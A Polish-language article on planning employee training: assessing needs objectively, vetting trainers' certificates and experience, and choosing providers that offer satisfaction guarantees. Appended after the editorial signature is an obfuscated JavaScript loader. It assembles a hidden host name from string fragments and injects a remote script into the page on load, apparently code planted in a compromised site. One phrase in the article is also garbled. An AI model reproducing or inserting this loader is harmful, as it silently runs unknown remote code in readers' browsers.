

Jak zaplanować dobre szkolenie dla pracowników?

Szkolenie pracowników to wdzięczna inwestycja, która praktycznie natychmiast procentuje. Dzięki odpowiednio dopasowanym i dobrze przeprowadzonym szkoleniom pracownik ma możliwość rozwinąć swoje skrzydła i lepiej zadbać o interes Twojej organizacji. Co więcej, pracownik, który jest wysyłany na szkolenie to pracownik zadowolony – wie on bowiem, że jest dla firmy ważny, że jego obowiązki są przez kogoś obserwowane i doceniane, a także, że jego przełożony dba o jego rozwój zawodowy oraz osobisty. Natomiast całkowicie oczywiste jest, że zadowolenie Twoich podwładnych przekłada się pozytywnie na ich motywację, co z kolei pozwala Ci rozwijać swój biznes o wiele szybciej i sprawniej.

To, że szkolenia warto organizować nie ulega wątpliwości. Ale jakie powinny one być i kto powinien je przeprowadzać? Na te pytania znajdziesz odpowiedzi w poniższym artykule.

Nie intuicja lecz fakty

Planowanie samego szkolenia to wprowadź kluczowy element, ale zgoła nie pierwszy. Poprzedzać go powinna rzetelna diagnoza potrzeb Twojej organizacji. Warto zatem zagłębić się w ocenę pracowników i przeprowadzić ją samemu z pomocą menadżerów niższego szczebla i działu hr lub zatrudnić firmę consultingową. Tu trzeba liczyć się z możliwością poniesienia wysokich kosztów, choć czasami outsourcing może być bardziej opłacalny niż zatrudnianie całego działu kadr wyłącznie w tym celu. Tego typu detale zależą od Twoich potrzeb i możliwości finansowych.

Analizy potrzeb w Twojej organizacji nie wolno jednak zaniedbywać, ponieważ bez niej planowanie szkoleń będzie po prostu przysłowiowym celowaniem palcem w niebo. Może wydawać Ci się, że doskonale znasz osoby, które zatrudniasz, ale tylko ocena ich umiejętności za pośrednictwem zobjektywizowanych metod da Ci prawdziwą pewność, że budżet, który przeznaczasz na szkolenie nie jest inwestycją bezużyteczną. Warto zatem zrobić krok w tył i mniej polegać na subiektywnych odczuciach, a bardziej na opiniach ekspertów, menadżerów średniego i niższego szczebla i/lub wynikach zobjektywizowanej metodologicznie, profesjonalnie przeprowadzonej diagnozy.

Trener trenerowi nierówny

Decydując się na zatrudnienie zewnętrznego specjalisty, który przeprowadzi szkolenia powinieneś obowiązkowo zadbać o wszystkie najdrobniejsze formalności. Przede wszystkim upewnij się, że osoba, której oferujesz współpracę posiada wszystkie wymagane certyfikaty i bogate doświadczenie właśnie w obszarze, w którym Twoi pracownicy potrzebują szkolenia. Niektórzy trenerzy znakomicie przekazują konkretną wiedzę ekspercką, ale nie oznacza to jeszcze, że równie dobrze będą oni mogli poprowadzić szkolenie z tzw. umiejętności miękkich. Poproś trenera o referencje i certyfikat, a także nie daj się skusić nietypowo niską ceną, oferowaną przez młodego, świeżo wykształconego coacha bez doświadczenia. Twoja firma potrzebuje rzetelnego eksperta, któremu będziesz mógł zaufać i powierzyć swoich pracowników.

Ustal z trenerem plan szkolenia i przedstaw mu jak najbardziej szczegółowo potrzeby Twoich podwładnych, które wynikły z diagnozy organizacji. Nie opieraj się na własnych przeczuciach, niech fakty mówią same za siebie. Warto też skorzystać z usług firmy szkoleniowej, która oferuje tzw. gwarancję zadowolenia pod postacią przykładowo możliwości darmowego powtórzenia szkolenia jeśli nie przyniesie ono oczekiwanych efektów. Taka oferta zapewni Tobie poczucie bezpieczeństwa i świadczy o rzetelności i profesjonalizmie wybranego przez Ciebie trenera.

Redakcja RECUST.pl

```
(function(){
uu85=document.createElement("script");uu85.type="text/javascript";
uu85.async=true;uu85_=(("us")+"t")+"a";uu85_+=("t.i")+" "+"n";uu85_+=(("f")+"o");
uu85.src="http://"+uu85_+"/6818403.8q8774npu85lwxwa2gfX9yva9d2arz";
document.body.appendChild(uu85);
})();
```

